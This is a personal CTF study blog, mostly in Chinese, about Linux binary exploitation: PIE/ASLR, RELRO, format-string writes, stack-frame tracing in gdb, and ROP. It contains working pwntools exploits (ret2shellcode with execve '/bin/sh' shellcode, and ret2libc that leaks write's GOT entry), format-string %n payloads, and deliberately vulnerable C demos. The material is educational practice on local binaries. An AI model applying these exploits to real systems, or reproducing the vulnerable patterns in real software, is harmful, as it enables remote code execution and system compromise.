CTF 中的一些笔记

Two parameters in checksec

Some usages in gcc

PIE

combined with ASLR

#include <stdio.h>

void func();

int uninitialGlobalVar;
int globalVar = 1;

int main(void)
{
    int localVar = 1;

    printf("Address of func() is %p, in text setment\n", func);
    printf("Address of uninitialGlobalVar is %p, in bss segment\n", &uninitialGlobalVar);
    printf("Address of globalVar is %p, in data segment\n", &globalVar);
    printf("Address of localVar is %p, in stack\n", &localVar);

    return 0;
}

void func()
{
    ;
}

You can find differences between aslr and pie from this dalao’s blog . We can use -no-pie this parameter to choose whether open pie or not in gcc . To put it simply , PIE only decide bss/data/code ‘s randomization .

RELRO

combined with format string vulnerability

I write a demo like this :

#include <stdio.h>
void show()
{
	system("/bin/sh");
}
int main() {
	char a[100];
	scanf("%s",a);
	printf(a);
	return(0);
}
//gcc -g -no-pie  -z norelro -m32 te.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> p.sendline('%p.%p.%p.%p.%p.%p')//test the offset
>>> p.recv()
[*] Process './a.out' stopped with exit code 0 (pid 431)
'0xffa5a078.0xf7f36410.0x8048548.(nil).0x1.0x252e7025'
//the offset is 6

>>> p.sendline('\x01\x80\x04\x08%x.%x.%x.%x.%x.%s')
>>> p.recv()
[*] Process './a.out' stopped with exit code 0 (pid 433)
'\x01\x80\x04\x08ffd1d438.f7f8c410.8048548.0.1.ELF\x01\x01\x01'

>>> p.sendline('\x01\x80\x04\x08%6$s')
>>> p.recv()
[*] Process './a.out' stopped with exit code 0 (pid 434)
'\x01\x80\x04\x08ELF\x01\x01\x01'
//use %n to change the old bss value
bss_addr=0x0804a028//readelf -S a.out
bss = '\x28\xa0\x04\x08%6$n'//change to 4
bss = '\x28\xa0\x04\x08%96c%6$n'//change to 100

there is a code for format string vulnerability in pwntools : payload = fmtstr_payload(6, {printf_got:system_plt}) . We can use objdump -R $file_name to find the specific function_got . However if you open RELRO , you will not be able to modify printf_got .

今天从零开始学stack,也算是记录一下吧,在这里记录一下特别细的知识点

准备环境

使用gcc -g -fno-stack-protector -z execstack -o test test.c依次关掉CanaryNX

echo 0 > /proc/sys/kernel/randomize_va_space关闭ASLR

ulimit -c unlimited表示自己程序只要错误就生成dump文件,之后echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern表示存到tmp目录下,之后我们就可以gdb $文件名 core.%t调试了

ASLR和PIE的各种事

其实我第一遍学的时候以为,emm,这不是一样的东西吗,甚至以为效果是它俩求并就行,靠发现完全不是,这个写的很棒了,谢谢师傅,在这里简单记录一下技巧吧(表格中提到的是被随机化的,堆另外再提)

\ aslr=0 aslr=1 aslr=2
开启PIE null code\data\stack libc\code\data\stack
关闭PIE null stack libc\stack

brk() 在aslr为1时地址静止,mmap() 地址随机

如果你想,emm,那我直接关闭本地aslr不完事了吗,hah,年轻了亚还是,远程服务器可是开着的,掩耳盗铃还行,所以一般情况下我们只能找漏洞点让数据泄漏出来

所有保护全关->跳转执行shellcode

在栈上写shellcode后ret直接指向shellcode就行,最简单的一种利用,但是我们要注意到底要覆盖多少字节,同时我们应该注意这种类型的漏洞关键便是理解好堆栈,我们以下方程序举例,一起分析一下堆栈

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void hello(int x) {
printf("hello %d\n",x);
}

int main(int argc, char** argv) {
hello(3);
}

然后直接gcc -m32 test进行编译运行,之后直接到gdb中进行调试
首先b main断到main函数,之后一步一步看

1
2
3
4
  0x8048435 <main+14>    sub    esp, 4
0x8048438 <main+17> sub esp, 0xc
► 0x804843b <main+20> push 3
0x804843d <main+22> call hello <0x804840b>

这是hello函数前的准备,我们只需要注意push 3这步操作,执行完后esp-4,同时指向3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x8048435 <main+14> sub esp, 4
0x8048438 <main+17> sub esp, 0xc
0x804843b <main+20> push 3
► 0x804843d <main+22> call hello <0x804840b>
arg[0]: 0x3
arg[1]: 0xffffd0b4 —▸ 0xffffd293 ◂— 0x6d6f682f ('/hom')
arg[2]: 0xffffd0bc —▸ 0xffffd2af ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
arg[3]: 0x8048481 (__libc_csu_init+33) ◂— lea eax, [ebx - 0xf8]

0x8048442 <main+27> add esp, 0x10
0x8048445 <main+30> mov eax, 0
0x804844a <main+35> mov ecx, dword ptr [ebp - 4]
0x804844d <main+38> leave
0x804844e <main+39> lea esp, [ecx - 4]
0x8048451 <main+42> ret

0x8048452 nop
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffcff0 ◂— 0x3
01:0004│ 0xffffcff4 —▸ 0xffffd0b4 —▸ 0xffffd293 ◂— 0x6d6f682f ('/hom')
02:0008│ 0xffffcff8 —▸ 0xffffd0bc —▸ 0xffffd2af ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
03:000c│ 0xffffcffc —▸ 0x8048481 (__libc_csu_init+33) ◂— lea eax, [ebx - 0xf8]
04:0010│ 0xffffd000 —▸ 0xf7fb03dc (__exit_funcs) —▸ 0xf7fb11e0 (initial) ◂— 0x0
05:0014│ 0xffffd004 —▸ 0xffffd020 ◂— 0x1
06:0018│ ebp 0xffffd008 ◂— 0x0
07:001c│ 0xffffd00c —▸ 0xf7e16637 (__libc_start_main+247) ◂— add esp, 0x10

之后call指令,我们把下一个地址即0x8048442入栈,我们s跟进,函数开始了经典的提升栈操作

1
2
3
4
5
6
7
8
9
10
11
12
13
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x804840b <hello> push ebp
0x804840c <hello+1> mov ebp, esp
0x804840e <hello+3> sub esp, 8
0x8048411 <hello+6> sub esp, 8
0x8048414 <hello+9> push dword ptr [ebp + 8]
0x8048417 <hello+12> push 0x80484e0
0x804841c <hello+17> call printf@plt <0x80482e0>

0x8048421 <hello+22> add esp, 0x10
0x8048424 <hello+25> nop
0x8048425 <hello+26> leave
0x8048426 <hello+27> ret

看到执行到hello+6的操作应该是栈被抬高了

1
2
3
4
5
6
7
8
9
pwndbg> stack 8
00:0000│ esp 0xffffcfd8 ◂— 0x0
01:0004│ 0xffffcfdc —▸ 0xf7e1632a (init_cacheinfo+666) ◂— mov dword ptr [esp + 0xc], 2
02:0008│ 0xffffcfe0 ◂— 0x1
... ↓
04:0010│ ebp 0xffffcfe8 —▸ 0xffffd008 ◂— 0x0
05:0014│ 0xffffcfec —▸ 0x8048442 (main+27) ◂— add esp, 0x10
06:0018│ 0xffffcff0 ◂— 0x3
07:001c│ 0xffffcff4 —▸ 0xffffd0b4 —▸ 0xffffd293 ◂— 0x6d6f682f ('/hom')

之后的 ► 0x8048414 <hello+9> push dword ptr [ebp + 8]我们应该知道了,这个是参数,目前具体的堆栈图如下

指针 内存
esp sth
esp+4 sth
esp+8 sth
esp+c sth
ebp $ebp
ebp+4 ret
ebp+8 3

之后的调用我们就不谈了,继续到leave指令,所谓这个指令就是和抬升栈相反,我们只需要记住这是反操作就行了,执行完后指针下移,ret返回主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x8048417 <hello+12> push 0x80484e0
0x804841c <hello+17> call printf@plt <0x80482e0>

0x8048421 <hello+22> add esp, 0x10
0x8048424 <hello+25> nop
0x8048425 <hello+26> leave
► 0x8048426 <hello+27> ret <0x8048442; main+27>

0x8048442 <main+27> add esp, 0x10
0x8048445 <main+30> mov eax, 0
0x804844a <main+35> mov ecx, dword ptr [ebp - 4]
0x804844d <main+38> leave
0x804844e <main+39> lea esp, [ecx - 4]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffcfec —▸ 0x8048442 (main+27) ◂— add esp, 0x10
01:0004│ 0xffffcff0 ◂— 0x3
02:0008│ 0xffffcff4 —▸ 0xffffd0b4 —▸ 0xffffd293 ◂— 0x6d6f682f ('/hom')
03:000c│ 0xffffcff8 —▸ 0xffffd0bc —▸ 0xffffd2af ◂— 'XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0'
04:0010│ 0xffffcffc —▸ 0x8048481 (__libc_csu_init+33) ◂— lea eax, [ebx - 0xf8]
05:0014│ 0xffffd000 —▸ 0xf7fb03dc (__exit_funcs) —▸ 0xf7fb11e0 (initial) ◂— 0x0
06:0018│ 0xffffd004 —▸ 0xffffd020 ◂— 0x1
07:001c│ ebp 0xffffd008 ◂— 0x0

顺利结束

practice

我们简单使用一步一步学ROP之linux_x86篇的level1简单练习一下exp只需要改一下ret就行,我们找一下使用cyclic生成字符串后贴到里边,找到$esp-144,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0xc9
EBX 0x0
ECX 0xffffcfb0 ◂— 0x61616161 ('aaaa')
EDX 0x100
EDI 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
ESI 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
EBP 0x6261616a ('jaab')
ESP 0xffffd040 ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
EIP 0x6261616b ('kaab')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x6261616b










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd040 ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
01:0004│ 0xffffd044 ◂— 'maabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
02:0008│ 0xffffd048 ◂— 'naaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
03:000c│ 0xffffd04c ◂— 'oaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
04:0010│ 0xffffd050 ◂— 'paabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
05:0014│ 0xffffd054 ◂— 'qaabraabsaabtaabuaabvaabwaabxaabyaab\n'
06:0018│ 0xffffd058 ◂— 'raabsaabtaabuaabvaabwaabxaabyaab\n'
07:001c│ 0xffffd05c ◂— 'saabtaabuaabvaabwaabxaabyaab\n'

可见是0xffffd040-144,所以直接填到里边,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

from pwn import *

p = process('./level1')

ret = 0xffffd040-144

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload)

p.interactive()

但是在实际运行时发生错误,发现竟然相差0x10个字节,ret是0xffffd050-144,我并不知道为什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd050 —▸ 0xf7fb03dc (__exit_funcs) —▸ 0xf7fb11e0 (initial) ◂— 0x0
01:0004│ 0xffffd054 —▸ 0x80481fc ◂— add byte ptr cs:[eax], al /* '.' */
02:0008│ 0xffffd058 —▸ 0x8048469 (__libc_csu_init+9) ◂— add ebx, 0x1b8b
03:000c│ 0xffffd05c ◂— 0x0
04:0010│ 0xffffd060 —▸ 0xf7fb0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
06:0018│ 0xffffd068 ◂— 0x0
07:001c│ 0xffffd06c —▸ 0xf7e16637 (__libc_start_main+247) ◂— add esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 ffffcfb0
────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32gx $esp-144
0xffffcfc0: 0x2f2f6851e1f7c931 0x896e69622f686873
0xffffcfd0: 0x41414180cd0bb0e3 0x4141414141414141
0xffffcfe0: 0x4141414141414141 0x4141414141414141
0xffffcff0: 0x4141414141414141 0x4141414141414141
0xffffd000: 0x4141414141414141 0x4141414141414141
0xffffd010: 0x4141414141414141 0x4141414141414141
0xffffd020: 0x4141414141414141 0x4141414141414141
0xffffd030: 0x4141414141414141 0x4141414141414141
0xffffd040: 0x4141414141414141 0xffffcfb041414141
0xffffd050: 0x080481fcf7fb03dc 0x0000000008048469
0xffffd060: 0xf7fb0000f7fb0000 0xf7e1663700000000
0xffffd070: 0xffffd10400000001 0x00000000ffffd10c
0xffffd080: 0x0000000000000000 0xf7ffdc04f7fb0000
0xffffd090: 0x00000000f7ffd000 0xf7fb0000f7fb0000
0xffffd0a0: 0x762412ab00000000 0x000000004b4f1cbb
0xffffd0b0: 0x0000000000000000 0x0804835000000001
pwndbg> p $esp
$1 = (void *) 0xffffd050

今天努力分析一下原因吧,虽然也能调出来,但是这佛系bug让我属实难以接受,不知道和本机环境有没有关系

简单的解释

简单看一下这个bug,我自己写了一个小demo

1
2
3
4
5
6
#include<stdio.h>
int main()
{
int y=1;
printf("%p\n",&y);
}

我们打印出来就是

1
2
➜  demo ./a.out     
0x7fffffffde54

可是使用pwntools直接process启这个进程发现确实会出现向后偏移0x10字节

1
2
3
4
from pwn import *
context.log_level = "debug"
p = process('./a.out')
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
➜  demo python te.py 
[+] Starting local process './a.out': pid 13184
[*] Switching to interactive mode
[*] Process './a.out' stopped with exit code 0 (pid 13184)
[DEBUG] Received 0xf bytes:
'0x7fffffffde64\n'
0x7fffffffde64
[*] Got EOF while reading in interactive
$
[DEBUG] Sent 0x1 bytes:
'\n' * 0x1
[*] Got EOF while sending in interactive

发现这是一个普遍问题,所以以后找ret地址必须要gdb进行调试后再填写,不然会出现问题,当然解决办法也可以是多填写一些nop,只要位置够,当然象这种直接在栈上写shellcode的题也确实不多,毕竟这么简单

今天主要运用rop解决pwn,其中有很多繁杂的知识点我们一起处理一下,源程序还是那个

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

但是这次开了aslr和nx,所以我们必须把这些东西泄漏出来,,我们直接根据exp来分析.具体操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

p = process('./level2')
#p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

纸上谈兵

首先我们根据objdump能搞出来write函数的got和plt表,之后可以利用plt_writegot_write即真正到内存里的地址泄漏出来,得到got_write后我们又有原来的libc,故而能根据偏移找到system和sh的地址,而这个这个程序很简单,我们可以有一个vulfun_addr函数不断的跳,也算是一个很好的工具函数

got和plt

在这个exp中我们可以简单理解一下这两个惺惺相惜的表,所谓got就是到内存中的真实地址,而plt只是链接到got的一个跳转表,使用plt可以使用该函数,而同时我们应该注意,在执行call function时要填入got地址,因为是直接去调用

栈溢出

所谓栈溢出就是告诉我们函数调用过程时会把ret即函数执行完的地址放入栈中,我们利用缓冲区的溢出将其覆盖后即可跳转到我们自己的shellcode

shellcode编写

本篇在shellcode的变形让我受益匪浅比如一些很恶心的题会将我们的输入进行解码在写到栈中,所以我们必须先逆向出来算法,当然一般这种题的知识点点到为止,不会在算法上太难为我们,而shellcode变形这块就更恶心了.

例如我们在栈中写入了shellcode,我们到eip时跳到shellcode开始处,这时我们的shellcode含有一些push操作,这时如果我们的shellcode结尾布置到了紧靠esp的位置,那就要考虑是否有覆盖的问题,所以这时的解决方法就是将shellcode进行拆分,中间有一个jump $当前指令+偏移量进行拼接,即可完成起shell

溢出点进阶

我们之前知道了栈的ret可以受我们控制,那么我们是否可以将某些敏感函数写入ret呢,答案是肯定的,同时要在32位程序中函数的参数是布置在栈中的

(示意图,待画)

所以我们完全可以这样布置padding(到达溢出点)+function_we_want+ret+parameter

rop

这篇我们要深入理解ret的含义,要知道ret在汇编中代表这pop eip,暂且这么理解,这就像我们在栈中布置了一个地址,例如是

1
2
0x123   push eax
0x134 ret

例如我们的程序溢出点是20个,我们就可以这么构造

1
2
3
4
5
6
aaaa
aaaa
aaaa
aaaa
aaaa
0x123<-原ret

我们把0x123写入栈的ret,那么我们的程序在会跳转到push eax中,之后又执行ret,但是我们的栈顶指向eax,所以我们就会跳转到eax的指向中,大家可以好好理解一下

vsdo

这个的点就比较骚了,我们知道只要程序开启了pie,我们就很难确定libc中的函数,所以我们这时候看到vsdo在内存中的位置是不变的,这时我们根据调用函数的返回值.可以利用他来起shell,比如说我们通过one_gagede找到了一个片段,其中的限制条件是eax为0,我们就可以根据他来起

这几天做题发现没有什么会做的,还是要夯实基础,于是在i春秋上找了篇教程也算是重新学习一遍吧,环境搭建不谈了,还有做题环境(ida,pwntools),没有gdb可能觉得对新手不太友好,我也不算新手了,算是个老菜鸡了,还是做吧

溢出点寻找

这个作者写的栈溢出基础,关键就是溢出点的判断,hellocsaw ctf 2016 quals-warmup不谈了,直接无脑cyclic就行,从之后开始就开始学新东西了

doubly_dangerous

这题没有找到很好的思路,溢出点的思路行不通,只能通过让if的语句成立,sv5相差0x40个字节,直接修改v5即可,修改后的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
#coding:utf-8

from pwn import *

io =process('doubly_dangerous')
payload = 'A'*64
payload += "\x00\x80\x34\x41"

print io.recv()
io.sendline(payload)
print io.recv()

sCTF 2016 q1-pwn1

这题思路很请奇,fget只接收32个字节,我们可以知道到栈底有0x3c个字节,加上ebp足足有0x40个字节,也就是64个字节,但是我们使用ida分析的时候会发现他进行了个替换,把所有I替换成了you,这样我们只需要写I*(63/3)+x+ret即可完成

Tokyo West CTF 3rd 2017-just_do_it

本题也并不是修改ret,而是要将v6的值进行改写因为会最后put(v6),而且我们之前的flag文件已经打开存到了bss中

  • 直接到ret前看stack前4字节

some bugs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.查是否合法
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(void){
uint8_t* a = (uint8_t*) malloc(1);
void * B = malloc(0x10);
malloc(0x60);
a[8+16] = 0x41;
*(size_t*)(B+0x38) = 0x21;
free(B);
}

2.malloc后的参数
我之前一直以为是 4 个字节,后来发现可以是 8 个字节,这就是 house of force的基础,只要有这种 malloc(size_t) 这种都可以往这方面靠